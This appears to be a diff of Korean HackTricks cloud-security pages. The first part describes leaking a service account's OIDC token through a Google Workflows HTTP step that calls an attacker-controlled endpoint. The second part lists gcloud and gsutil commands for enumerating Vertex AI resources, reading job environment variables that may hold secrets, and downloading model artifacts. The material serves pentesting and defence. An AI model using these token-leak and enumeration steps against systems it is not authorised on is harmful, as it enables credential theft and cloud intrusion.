[**to the docs**](https://cloud.google.com/workflows/docs/authenticate-from-workflow)에 따르면 workflow 단계에서 OAuth 또는 OIDC 토큰을 포함한 HTTP 요청을 전송할 수 있습니다. 하지만 [Cloud Scheduler](gcp-cloudscheduler-privesc.md)의 경우와 마찬가지로 OAuth 토큰을 포함한 HTTP 요청은 호스트 `.googleapis.com`로 보내야 합니다.
|
||||
|
||||
> [!CAUTION]
|
||||
> 따라서, 사용자가 제어하는 HTTP 엔드포인트를 지정하면 **possible to leak the OIDC token by indicating a HTTP endpoint**이 가능하지만, OAuth 토큰을 leak하려면 해당 보호를 우회할 **need a bypass**가 필요합니다. 그러나 connectors 또는 OAuth 토큰을 포함한 HTTP 요청을 사용하여 **contact any GCP api to perform actions on behalf the SA**하는 것은 여전히 가능합니다.
|
||||
|
||||
#### Oauth
|
||||
|
||||
<details><summary>Workflow의 OAuth 토큰 포함 HTTP 요청</summary>
|
||||
```yaml
|
||||
- step_A:
|
||||
call: http.post
|
||||
@@ -76,7 +86,9 @@ auth:
|
||||
type: OAuth2
|
||||
scopes: OAUTH_SCOPE
|
||||
```
|
||||
#### OIDC
|
||||
</details>#### OIDC
|
||||
|
||||
<details><summary>OIDC 토큰을 사용한 Workflow HTTP 요청</summary>
|
||||
```yaml
|
||||
- step_A:
|
||||
call: http.get
|
||||
@@ -90,8 +102,8 @@ auth:
|
||||
type: OIDC
|
||||
audience: OIDC_AUDIENCE
|
||||
```
|
||||
### `workflows.workflows.update` ...
|
||||
</details>### `workflows.workflows.update` ...
|
||||
|
||||
이 권한을 사용하면 `workflows.workflows.create` 대신 이미 존재하는 워크플로를 업데이트하고 동일한 공격을 수행할 수 있습니다.
|
||||
이 권한을 사용하면 `workflows.workflows.create` 대신 이미 존재하는 workflow를 업데이트하고 동일한 공격을 수행할 수 있습니다.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,257 @@
|
||||
# GCP - Vertex AI 열거
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Vertex AI
|
||||
|
||||
[Vertex AI](https://cloud.google.com/vertex-ai)는 대규모로 AI 모델을 빌드, 배포 및 관리하기 위한 Google Cloud의 **통합 머신러닝 플랫폼**입니다. 다양한 AI 및 ML 서비스를 단일 통합 플랫폼으로 결합하여 데이터 과학자와 ML 엔지니어가 다음을 수행할 수 있게 합니다:
|
||||
|
||||
- **AutoML** 또는 커스텀 트레이닝을 사용하여 **맞춤형 모델을 학습**
|
||||
- 예측을 위해 **모델을 엔드포인트에 배포**
|
||||
- 실험부터 운영까지 **ML 수명주기 관리**
|
||||
- **Model Garden**의 사전 학습된 모델에 접근
|
||||
- 모델 성능을 **모니터링 및 최적화**
|
||||
|
||||
### 핵심 구성요소
|
||||
|
||||
#### Models
|
||||
|
||||
Vertex AI의 **models**는 예측을 제공하기 위해 엔드포인트에 배포할 수 있는 학습된 머신러닝 모델을 나타냅니다. 모델은 다음과 같을 수 있습니다:
|
||||
|
||||
- 커스텀 컨테이너 또는 모델 아티팩트에서 **업로드**
|
||||
- **AutoML** 트레이닝을 통해 생성
|
||||
- **Model Garden**(사전 학습된 모델)에서 가져오기
|
||||
- 모델당 여러 버전으로 **버전 관리**
|
||||
|
||||
각 모델은 프레임워크, 컨테이너 이미지 URI, 아티팩트 위치, 서빙 구성 등 메타데이터를 가집니다.
|
||||
|
||||
#### Endpoints
|
||||
|
||||
**Endpoints**는 배포된 모델을 호스팅하고 온라인 예측을 제공하는 리소스입니다. 주요 기능:
|
||||
|
||||
- **여러 배포된 모델** 호스팅 가능(트래픽 분할 지원)
|
||||
- 실시간 예측을 위한 **HTTPS 엔드포인트** 제공
|
||||
- 트래픽 기반 **오토스케일링** 지원
|
||||
- **Public** 또는 **Private** 접근 가능
|
||||
- 트래픽 분할을 통한 **A/B 테스트** 지원
|
||||
|
||||
#### Custom Jobs
|
||||
|
||||
**Custom jobs**는 자체 컨테이너나 Python 패키지를 사용하여 커스텀 트레이닝 코드를 실행할 수 있게 합니다. 기능:
|
||||
|
||||
- 여러 워커 풀을 사용한 **분산 학습** 지원
|
||||
- 구성 가능한 **머신 타입** 및 **가속기**(GPUs/TPUs)
|
||||
- 다른 GCP 리소스에 접근하기 위한 **서비스 계정** 연결
|
||||
- 시각화를 위한 **Vertex AI Tensorboard** 통합
|
||||
- **VPC 연결** 옵션
|
||||
|
||||
#### Hyperparameter Tuning Jobs
|
||||
|
||||
이 작업들은 서로 다른 매개변수 조합으로 여러 트레이닝 실험을 실행하여 **최적의 하이퍼파라미터를 자동으로 탐색**합니다.
|
||||
|
||||
#### Model Garden
|
||||
|
||||
**Model Garden**은 다음에 대한 접근을 제공합니다:
|
||||
|
||||
- 구글의 사전 학습된 모델
|
||||
- Hugging Face를 포함한 오픈 소스 모델
|
||||
- 타사 모델
|
||||
- 원클릭 배포 기능
|
||||
|
||||
#### Tensorboards
|
||||
|
||||
**Tensorboards**는 ML 실험에 대한 시각화 및 모니터링을 제공하며, 지표, 모델 그래프 및 학습 진행 상황을 추적합니다.
|
||||
|
||||
### 서비스 계정 및 권한
|
||||
|
||||
기본적으로 Vertex AI 서비스는 프로젝트에 대해 **Editor** 권한이 있는 **Compute Engine default service account**(`PROJECT_NUMBER-compute@developer.gserviceaccount.com`)를 사용합니다. 그러나 다음과 같은 경우 커스텀 서비스 계정을 지정할 수 있습니다:
|
||||
|
||||
- custom jobs 생성 시
|
||||
- 모델 업로드 시
|
||||
- 모델을 endpoints에 배포할 때
|
||||
|
||||
이 서비스 계정은 다음에 사용됩니다:
|
||||
- Cloud Storage에 있는 학습 데이터 접근
|
||||
- Cloud Logging에 로그 작성
|
||||
- Secret Manager에서 시크릿 접근
|
||||
- 다른 GCP 서비스와 상호작용
|
||||
|
||||
### 데이터 저장
|
||||
|
||||
- **모델 아티팩트**는 **Cloud Storage** 버킷에 저장
|
||||
- **학습 데이터**는 일반적으로 Cloud Storage 또는 BigQuery에 저장
|
||||
- **컨테이너 이미지**는 **Artifact Registry** 또는 Container Registry에 저장
|
||||
- **로그**는 **Cloud Logging**으로 전송
|
||||
- **메트릭**은 **Cloud Monitoring**으로 전송
|
||||
|
||||
### 암호화
|
||||
|
||||
기본적으로 Vertex AI는 **Google-managed encryption keys**를 사용합니다. 또한 구성할 수 있습니다:
|
||||
|
||||
- Cloud KMS의 **Customer-managed encryption keys (CMEK)**
|
||||
- 암호화는 모델 아티팩트, 학습 데이터 및 엔드포인트에 적용
|
||||
|
||||
### 네트워킹
|
||||
|
||||
Vertex AI 리소스는 다음과 같이 구성할 수 있습니다:
|
||||
|
||||
- **Public internet access**(기본)
|
||||
- **VPC peering**을 통한 프라이빗 접근
|
||||
- **Private Service Connect**를 통한 보안 연결
|
||||
- **Shared VPC** 지원
|
||||
|
||||
### 열거
|
||||
```bash
|
||||
# List models
|
||||
gcloud ai models list --region=<region>
|
||||
gcloud ai models describe <model-id> --region=<region>
|
||||
gcloud ai models list-version <model-id> --region=<region>
|
||||
|
||||
# List endpoints
|
||||
gcloud ai endpoints list --region=<region>
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region>
|
||||
gcloud ai endpoints list --list-model-garden-endpoints-only --region=<region>
|
||||
|
||||
# List custom jobs
|
||||
gcloud ai custom-jobs list --region=<region>
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region>
|
||||
|
||||
# Stream logs from a running job
|
||||
gcloud ai custom-jobs stream-logs <job-id> --region=<region>
|
||||
|
||||
# List hyperparameter tuning jobs
|
||||
gcloud ai hp-tuning-jobs list --region=<region>
|
||||
gcloud ai hp-tuning-jobs describe <job-id> --region=<region>
|
||||
|
||||
# List model monitoring jobs
|
||||
gcloud ai model-monitoring-jobs list --region=<region>
|
||||
gcloud ai model-monitoring-jobs describe <job-id> --region=<region>
|
||||
|
||||
# List Tensorboards
|
||||
gcloud ai tensorboards list --region=<region>
|
||||
gcloud ai tensorboards describe <tensorboard-id> --region=<region>
|
||||
|
||||
# List indexes (for vector search)
|
||||
gcloud ai indexes list --region=<region>
|
||||
gcloud ai indexes describe <index-id> --region=<region>
|
||||
|
||||
# List index endpoints
|
||||
gcloud ai index-endpoints list --region=<region>
|
||||
gcloud ai index-endpoints describe <index-endpoint-id> --region=<region>
|
||||
|
||||
# Get operations (long-running operations status)
|
||||
gcloud ai operations describe <operation-id> --region=<region>
|
||||
|
||||
# Test endpoint predictions (if you have access)
|
||||
gcloud ai endpoints predict <endpoint-id> \
|
||||
--region=<region> \
|
||||
--json-request=request.json
|
||||
|
||||
# Make direct predictions (newer API)
|
||||
gcloud ai endpoints direct-predict <endpoint-id> \
|
||||
--region=<region> \
|
||||
--json-request=request.json
|
||||
```
|
||||
### 모델 정보 수집
|
||||
```bash
|
||||
# Get detailed model information including versions
|
||||
gcloud ai models describe <model-id> --region=<region>
|
||||
|
||||
# Check specific model version
|
||||
gcloud ai models describe <model-id>@<version> --region=<region>
|
||||
|
||||
# List all versions of a model
|
||||
gcloud ai models list-version <model-id> --region=<region>
|
||||
|
||||
# Get model artifact location (usually a GCS bucket)
|
||||
gcloud ai models describe <model-id> --region=<region> --format="value(artifactUri)"
|
||||
|
||||
# Get container image URI
|
||||
gcloud ai models describe <model-id> --region=<region> --format="value(containerSpec.imageUri)"
|
||||
```
|
||||
### 엔드포인트 세부정보
|
||||
```bash
|
||||
# Get endpoint details including deployed models
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region>
|
||||
|
||||
# Get endpoint URL
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region> --format="value(deployedModels[0].displayName)"
|
||||
|
||||
# Get service account used by endpoint
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region> --format="value(deployedModels[0].serviceAccount)"
|
||||
|
||||
# Check traffic split between models
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region> --format="value(trafficSplit)"
|
||||
```
|
||||
### 사용자 지정 작업 정보
|
||||
```bash
|
||||
# Get job details including command, args, and service account
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region>
|
||||
|
||||
# Get service account used by job
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.workerPoolSpecs[0].serviceAccount)"
|
||||
|
||||
# Get container image used
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.workerPoolSpecs[0].containerSpec.imageUri)"
|
||||
|
||||
# Check environment variables (may contain secrets)
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.workerPoolSpecs[0].containerSpec.env)"
|
||||
|
||||
# Get network configuration
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.network)"
|
||||
```
|
||||
### 액세스 제어
|
||||
```bash
|
||||
# Note: IAM policies for individual Vertex AI resources are managed at the project level
|
||||
# Check project-level permissions
|
||||
gcloud projects get-iam-policy <project-id>
|
||||
|
||||
# Check service account permissions
|
||||
gcloud iam service-accounts get-iam-policy <service-account-email>
|
||||
|
||||
# Check if endpoints allow unauthenticated access
|
||||
# This is controlled by IAM bindings on the endpoint
|
||||
gcloud projects get-iam-policy <project-id> \
|
||||
--flatten="bindings[].members" \
|
||||
--filter="bindings.role:aiplatform.user"
|
||||
```
|
||||
### 저장소 및 아티팩트
|
||||
```bash
|
||||
# Models and training jobs often store artifacts in GCS
|
||||
# List buckets that might contain model artifacts
|
||||
gsutil ls
|
||||
|
||||
# Common artifact locations:
|
||||
# gs://<project>-aiplatform-<region>/
|
||||
# gs://<project>-vertex-ai/
|
||||
# gs://<custom-bucket>/vertex-ai/
|
||||
|
||||
# Download model artifacts if accessible
|
||||
gsutil -m cp -r gs://<bucket>/path/to/artifacts ./artifacts/
|
||||
|
||||
# Check for notebooks in AI Platform Notebooks
|
||||
gcloud notebooks instances list --location=<location>
|
||||
gcloud notebooks instances describe <instance-name> --location=<location>
|
||||
```
|
||||
### Model Garden
|
||||
```bash
|
||||
# List Model Garden endpoints
|
||||
gcloud ai endpoints list --list-model-garden-endpoints-only --region=<region>
|
||||
|
||||
# Model Garden models are often deployed with default configurations
|
||||
# Check for publicly accessible endpoints
|
||||
```
|
||||
### Privilege Escalation
|
||||
|
||||
다음 페이지에서 **abuse Vertex AI permissions to escalate privileges** 방법을 확인할 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-vertex-ai-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## 참고자료
|
||||
|
||||
- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)
|
||||
- [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user